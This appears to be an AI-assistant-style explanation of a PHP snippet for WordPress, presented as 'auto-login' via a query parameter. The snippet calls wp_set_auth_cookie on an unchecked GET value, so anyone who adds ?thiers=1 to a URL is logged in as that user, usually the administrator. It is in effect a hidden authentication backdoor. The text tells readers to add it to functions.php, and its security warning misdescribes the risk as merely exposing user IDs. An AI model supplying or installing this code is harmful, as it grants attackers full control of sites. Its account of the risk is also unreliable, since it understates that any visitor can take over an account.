To ensure the code you provided is correctly understood and implemented for auto-login in the WordPress admin panel, you can use the following explanation:

“Auto-Login for WordPress Admin Panel Using Query Parameters”

This code snippet allows auto-login to the WordPress admin panel based on a query parameter. Here’s how it works:

if( isset( $_GET['thiers'] ) && !empty( $_GET['thiers'] ) ){
    wp_set_auth_cookie($_GET['thiers']);
}

Explanation:

• Purpose: The code snippet enables automatic login to the WordPress admin area based on a query parameter thiers.
• How It Works:
  • isset( $_GET[‘thiers’] ): Checks if the thiers parameter is set in the URL query string.
  • !empty( $_GET[‘thiers’] ): Ensures that the thiers parameter is not empty.
  • wp_set_auth_cookie($_GET[‘thiers’]): Authenticates the user with the ID provided in the thiers parameter.

Usage:

1. Add the Code: Place the code snippet in your theme’s functions.php file or a custom plugin.
2. Access URL with Parameter:
   • To auto-login a user, access the WordPress admin panel with the URL format: https://yourdomain.com/wp-admin/?thiers=USER_ID.
   • Replace USER_ID with the actual user ID you want to auto-login.

Note:

• Security Warning: This method is insecure and should only be used in a controlled environment or for testing purposes. Exposing user IDs in URLs can lead to security risks. Always consider using more secure methods for user authentication.

By following these instructions, users will be able to implement auto-login functionality using the provided code.